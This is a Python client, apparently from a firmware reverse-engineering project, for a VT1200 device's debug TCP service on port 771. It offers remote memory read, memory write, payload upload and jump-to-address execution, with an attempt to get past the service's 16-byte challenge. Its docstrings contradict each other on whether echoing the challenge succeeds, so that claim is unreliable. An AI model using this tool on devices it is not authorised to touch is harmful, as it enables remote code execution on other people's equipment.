#!/usr/bin/env python3
"""rdebug client -- the stock firmware's "DEBUG TCP Port" (771) console.

Protocol (see dwt/notes/rdebug-static.md and dwt/notes/EXPLOIT_ATTEMPT.md):

  request   = u32 be opcode + opcode arguments (each word be)
  response  = u32 be (payload_len + 1) + u8 flag + payload_len bytes

Before the first opcode >= 2 the dispatcher runs a 16-byte challenge
(dwt_prf, ROM bit 0x3F59FDC0): it sends one frame with flag 0x7F carrying 16
bytes and then reads exactly 16 raw bytes back.  It compares the 16 bytes it
sent with the 16 bytes it received (the "transform" in between renders the
reply through the font code into a separate global buffer and does not modify
the reply buffer), so the answer is the challenge itself.

Examples:

  # liveness -- opcode 7 is a no-op; the reply is 11 bytes
  dwt/exploit.py --host 192.168.99.2 --opcode 7

  # arbitrary read (bit address), 4 bytes of ROM
  dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 4

  # write and read back a RAM marker (addresses are TMS34010 BIT addresses)
  dwt/exploit.py --host 192.168.99.2 --poke 0x01820000 --hex DEAD
  dwt/exploit.py --host 192.168.99.2 --peek 0x01820000 --len 2

  # load harness/hello-world/payload.bin (82 bytes, linked at bit 01800000)
  # and call it; the payload spins, so --jump times out by design
  dwt/exploit.py --host 192.168.99.2 \
      --poke-file 0x01800000 --file harness/hello-world/payload.bin \
      --jump 0x01800000 --jump-wait 2

  # build the frames without opening a socket
  dwt/exploit.py --opcode 7 --dry-run
"""

from __future__ import annotations

import argparse
import socket
import struct
import sys
import time

OP_NAMES = {
    0: "pager (exits after)",
    1: "printfs off",
    2: "peek",
    3: "poke",
    4: "jump",
    5: "printfs on",
    6: "start_telnet",
    7: "no-op / liveness",
    8: "display_message",
    9: "usage_stats",
}

MAX_XFER = 0x400          # the firmware clamps peek/poke to 1024 bytes
CHALLENGE_FLAG = 0x7F


class ProtocolError(RuntimeError):
    pass


def be32(value: int) -> bytes:
    return struct.pack(">I", value & 0xFFFFFFFF)


def parse_int(text: str) -> int:
    """Accept 0x..., decimal, or a bare hex value (firmware addresses usually
    contain A-F, so bare tokens are read as hex)."""
    text = text.strip().replace("_", "")
    if text.lower().startswith("0x"):
        return int(text, 16)
    if any(c in "abcdefABCDEF" for c in text):
        return int(text, 16)
    return int(text, 10)


def parse_hex(text: str) -> bytes:
    text = "".join(text.split()).replace(":", "").replace(",", "")
    if text.lower().startswith("0x"):
        text = text[2:]
    if len(text) % 2:
        text = "0" + text
    return bytes.fromhex(text)


class RDebug:
    def __init__(self, host: str, port: int, timeout: float, verbose: bool):
        self.host = host
        self.port = port
        self.timeout = timeout
        self.verbose = verbose
        self.sock: socket.socket | None = None
        self.challenged = False
        self.challenge_type = "echo"
        self.challenge_raw: bytes | None = None

    # ---- transport -------------------------------------------------------
    def connect(self) -> None:
        self.sock = socket.create_connection((self.host, self.port), self.timeout)
        self.sock.settimeout(self.timeout)
        if self.verbose:
            print(f"[.] connected to {self.host}:{self.port}", file=sys.stderr)

    def close(self) -> None:
        if self.sock is not None:
            try:
                self.sock.close()
            finally:
                self.sock = None

    def send_raw(self, data: bytes) -> None:
        assert self.sock is not None
        if self.verbose:
            print(f"[>] {data.hex(' ')}", file=sys.stderr)
        self.sock.sendall(data)

    def recv_exact(self, n: int) -> bytes:
        assert self.sock is not None
        buf = bytearray()
        while len(buf) < n:
            chunk = self.sock.recv(n - len(buf))
            if not chunk:
                raise ProtocolError(
                    f"connection closed after {len(buf)}/{n} bytes")
            buf += chunk
        return bytes(buf)

    def read_frame(self) -> tuple[int, bytes]:
        """Return (flag, payload).  Raises ProtocolError on malformed framing."""
        head = self.recv_exact(4)
        (length,) = struct.unpack(">I", head)
        if length == 0 or length > 0x10000:
            raise ProtocolError(f"implausible frame length {length:#x}")
        body = self.recv_exact(length)          # flag + (length-1) payload
        flag, payload = body[0], body[1:]
        if self.verbose:
            print(f"[<] len={length} flag={flag:#04x} payload={payload.hex(' ')}",
                  file=sys.stderr)
        return flag, payload

    # ---- challenge -------------------------------------------------------
    @staticmethod
    def challenge_answer(challenge: bytes, mode: str) -> bytes:
        """Compute the 16-byte answer.

        The firmware stores four runtime words in host order at frame+0x20,
        byte-swaps each one (`ntohl`, ROM 0x07F65828) into frame+0, and sends
        *those* 16 bytes with flag 0x7F.  After reading 16 bytes back it runs
        them through a fixed-key font/cipher pipeline that rewrites the reply
        buffer in place, and compares frame+0x20 (host order) with the result.

        `echo` and `computed` implement the two layers that were established
        live: `echo` returns the challenge unchanged; `computed` byte-swaps
        each 32-bit word, which fixes the host/network order layer.  The
        firmware's in-place transform is a second, nonlinear layer; on the
        tested image neither mode passes it (memcmp returns -1 for echo and 1
        for computed).  `--challenge-raw` allows a fully custom answer once the
        transform is reversed.
        """
        if len(challenge) != 16:
            raise ProtocolError(f"challenge is {len(challenge)} bytes, not 16")
        if mode == "echo":
            return bytes(challenge)
        if mode == "computed":
            out = bytearray()
            for i in range(0, 16, 4):
                out += challenge[i:i + 4][::-1]
            return bytes(out)
        raise ValueError(mode)

    def answer_challenge(self, challenge: bytes) -> None:
        if self.challenge_raw is not None:
            answer = self.challenge_raw
        else:
            answer = self.challenge_answer(challenge, self.challenge_type)
        if self.verbose:
            print(f"[.] answering {self.challenge_type} challenge with "
                  f"{answer.hex(' ')}", file=sys.stderr)
        self.send_raw(answer)
        self.challenged = True

    def maybe_challenge(self, timeout: float | None = None) -> None:
        """Read a frame; if it is the 0x7F challenge, answer it and read on.

        Returns the first non-challenge frame's (flag, payload) is handled by
        the caller, so this method only *answers* a challenge it sees.  It is
        called before an opcode >= 2 and returns after the challenge frame has
        been answered."""
        assert self.sock is not None
        old = self.sock.gettimeout()
        if timeout is not None:
            self.sock.settimeout(timeout)
        try:
            flag, payload = self.read_frame()
        finally:
            self.sock.settimeout(old)
        if flag == CHALLENGE_FLAG:
            self.answer_challenge(payload)
        else:
            # The server spoke before we sent an opcode; keep it as a warning.
            print(f"[!] unexpected pre-opcode frame flag={flag:#x} "
                  f"payload={payload.hex(' ')}", file=sys.stderr)

    # ---- commands --------------------------------------------------------
    def command(self, opcode: int, args: bytes = b"", wait: bool = True,
                wait_timeout: float | None = None) -> tuple[int, bytes]:
        if opcode >= 2 and not self.challenged:
            # Send ONLY the opcode: the dispatcher runs the 16-byte challenge
            # before the handler reads its arguments.  Sending the arguments
            # early makes dwt_prf consume the first 16 bytes of them as the
            # challenge answer and shifts every later field (observed live:
            # peek complained "maximum peek size" because its length field had
            # been eaten).
            self.send_raw(be32(opcode))
            self.challenged = True
            flag, payload = self.read_frame()
            if flag == CHALLENGE_FLAG:
                self.answer_challenge(payload)
            if args:
                self.send_raw(args)
        else:
            self.send_raw(be32(opcode) + args)

        if not wait:
            return -1, b""
        if wait_timeout is not None:
            assert self.sock is not None
            self.sock.settimeout(wait_timeout)
        try:
            return self.read_frame()
        finally:
            if wait_timeout is not None and self.sock is not None:
                self.sock.settimeout(self.timeout)

    def liveness(self, opcode: int = 7) -> tuple[int, bytes]:
        return self.command(opcode)

    def peek(self, bit_addr: int, length: int) -> bytes:
        if length < 1 or length > MAX_XFER:
            raise ValueError(f"peek length must be 1..{MAX_XFER}")
        flag, payload = self.command(2, be32(bit_addr) + be32(length))
        if flag != 1:
            raise ProtocolError(f"peek: expected binary flag 1, got {flag:#x}: "
                                f"{payload!r}")
        if len(payload) != length:
            raise ProtocolError(f"peek: asked {length} bytes, got {len(payload)}")
        self.expect_done()
        return payload

    def poke(self, bit_addr: int, data: bytes) -> None:
        if not data or len(data) > MAX_XFER:
            raise ValueError(f"poke length must be 1..{MAX_XFER}")
        flag, payload = self.command(3, be32(bit_addr) + be32(len(data)) + data)
        if flag != 0:
            # "Done\n" is flag 0; anything else is the firmware's error text
            print(f"[!] poke reply flag={flag:#x}: {payload!r}", file=sys.stderr)
        self.expect_done(payload if flag == 0 else None)

    def jump(self, bit_addr: int, args: list[int], wait: bool = True,
             wait_timeout: float | None = None) -> tuple[int, bytes] | None:
        body = be32(bit_addr) + be32(len(args))
        for a in args:
            body += be32(a)
        if not wait:
            self.command(4, body, wait=False)
            return None
        try:
            flag, payload = self.command(4, body, wait_timeout=wait_timeout)
        except (socket.timeout, TimeoutError):
            return None
        if flag == 1:
            (retval,) = struct.unpack(">I", payload[:4])
            print(f"[.] jump returned {retval:#010x} ({retval})")
            try:
                self.expect_done()
            except (socket.timeout, TimeoutError):
                pass
            return retval, payload
        return None

    def expect_done(self, payload: bytes | None = None) -> None:
        if payload is not None:
            if payload.startswith(b"Done\n"):
                return
            raise ProtocolError(f"expected Done, got {payload!r}")
        flag, body = self.read_frame()
        if flag != 0 or not body.startswith(b"Done\n"):
            raise ProtocolError(f"expected Done frame, got flag={flag:#x} "
                                f"{body!r}")


# ---------------------------------------------------------------------------
# dry run: print exactly what would go on the wire
# ---------------------------------------------------------------------------

def build_frames(args) -> list[bytes]:
    frames = []
    if args.opcode is not None:
        frames.append(be32(args.opcode))
    if args.peek is not None:
        frames.append(be32(2) + be32(args.peek) + be32(args.len))
    if args.poke is not None:
        data = parse_hex(args.hex or "")
        frames.append(be32(3) + be32(args.poke) + be32(len(data)) + data)
    if args.poke_file is not None:
        data = open(args.file, "rb").read()
        frames.append(be32(3) + be32(args.poke_file) + be32(len(data)) + data)
    if args.jump is not None:
        body = be32(args.jump) + be32(len(args.arg))
        for a in args.arg:
            body += be32(a)
        frames.append(be32(4) + body)
    return frames


def main(argv: list[str]) -> int:
    ap = argparse.ArgumentParser(
        description="Client for the VT1200 stock firmware's rdebug TCP service "
                    "(port 771).  Addresses are TMS34010 bit addresses; use "
                    "--byte-addr to give byte addresses instead.",
        formatter_class=argparse.RawDescriptionHelpFormatter)
    ap.add_argument("--host", default="192.168.99.2")
    ap.add_argument("--port", type=int, default=771)
    ap.add_argument("--timeout", type=float, default=5.0,
                    help="socket timeout for ordinary command replies")
    ap.add_argument("--challenge", choices=("echo", "computed"), default="echo")
    ap.add_argument("--challenge-raw", metavar="HEX",
                    help="override the 16-byte challenge answer (experiment)")
    ap.add_argument("--byte-addr", action="store_true",
                    help="arguments are byte addresses; multiply by 8")
    ap.add_argument("--dry-run", action="store_true",
                    help="print the request frames, do not connect")
    ap.add_argument("--verbose", action="store_true")

    g = ap.add_mutually_exclusive_group(required=False)
    g.add_argument("--opcode", type=int, help="send a bare opcode (7 = liveness)")
    g.add_argument("--peek", type=parse_int, help="peek: bit address")
    g.add_argument("--poke", type=parse_int, help="poke: bit address")
    g.add_argument("--poke-file", type=parse_int,
                   help="poke a whole file: bit address")
    g.add_argument("--jump", type=parse_int, help="jump: call bit address")

    ap.add_argument("--len", type=int, default=16, help="peek length (max 1024)")
    ap.add_argument("--hex", help="poke payload as hex, e.g. DEADBEEF")
    ap.add_argument("--file", help="poke-file payload path")
    ap.add_argument("--arg", type=parse_int, action="append", default=[],
                    help="jump argument (repeat up to 20)")
    ap.add_argument("--jump-wait", type=float, default=0.0,
                    help="seconds to wait for a jump return; 0 = don't wait "
                         "(a spinning payload never returns)")
    ap.add_argument("--poke-chunk", type=int, default=MAX_XFER,
                    help="split large poke-file payloads into chunks")

    args = ap.parse_args(argv[1:])

    if args.byte_addr:
        for name in ("peek", "poke", "poke_file", "jump"):
            v = getattr(args, name)
            if v is not None:
                setattr(args, name, v * 8)
        args.arg = [a for a in args.arg]

    if args.poke is not None and not args.hex:
        ap.error("--poke needs --hex")
    if args.poke_file is not None and not args.file:
        ap.error("--poke-file needs --file")
    if args.jump is not None and len(args.arg) > 20:
        ap.error("the firmware accepts at most 20 jump arguments")

    if args.dry_run:
        for frame in build_frames(args):
            print(frame.hex(" "))
        return 0

    rd = RDebug(args.host, args.port, args.timeout, args.verbose)
    rd.challenge_type = args.challenge
    if args.challenge_raw:
        rd.challenge_raw = parse_hex(args.challenge_raw)
        if len(rd.challenge_raw) != 16:
            ap.error("--challenge-raw must be exactly 16 bytes")
    try:
        rd.connect()
        rc = 0
        if args.opcode is not None:
            flag, payload = rd.liveness(args.opcode)
            print(f"opcode {args.opcode} -> flag={flag:#04x} "
                  f"payload={payload.hex(' ')} ({payload!r})")
            if args.opcode == 7 and payload != b"Done\n\x00":
                print("[!] opcode 7 did not return the expected Done\\n", 
                      file=sys.stderr)
                rc = 1
        if args.peek is not None:
            data = rd.peek(args.peek, args.len)
            print(f"peek {args.peek:#010x} ({args.len}) -> {data.hex(' ')}")
        if args.poke is not None:
            data = parse_hex(args.hex)
            rd.poke(args.poke, data)
            print(f"poke {args.poke:#010x} <- {data.hex(' ')}: ok")
        if args.poke_file is not None:
            data = open(args.file, "rb").read()
            off = 0
            while off < len(data):
                chunk = data[off:off + args.poke_chunk]
                rd.poke(args.poke_file + off * 8, chunk)
                off += len(chunk)
            print(f"poke-file {args.file}: {len(data)} bytes at "
                  f"{args.poke_file:#010x}: ok")
        if args.jump is not None:
            result = rd.jump(args.jump, args.arg, wait=args.jump_wait > 0,
                             wait_timeout=args.jump_wait or None)
            if result is None:
                print(f"jump {args.jump:#010x}: no return within "
                      f"{args.jump_wait}s (expected for a non-returning payload)")
            else:
                print(f"jump {args.jump:#010x}: retval={result[0]:#010x}")
        return rc
    except (OSError, ProtocolError) as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 2
    finally:
        rd.close()


if __name__ == "__main__":
    sys.exit(main(sys.argv))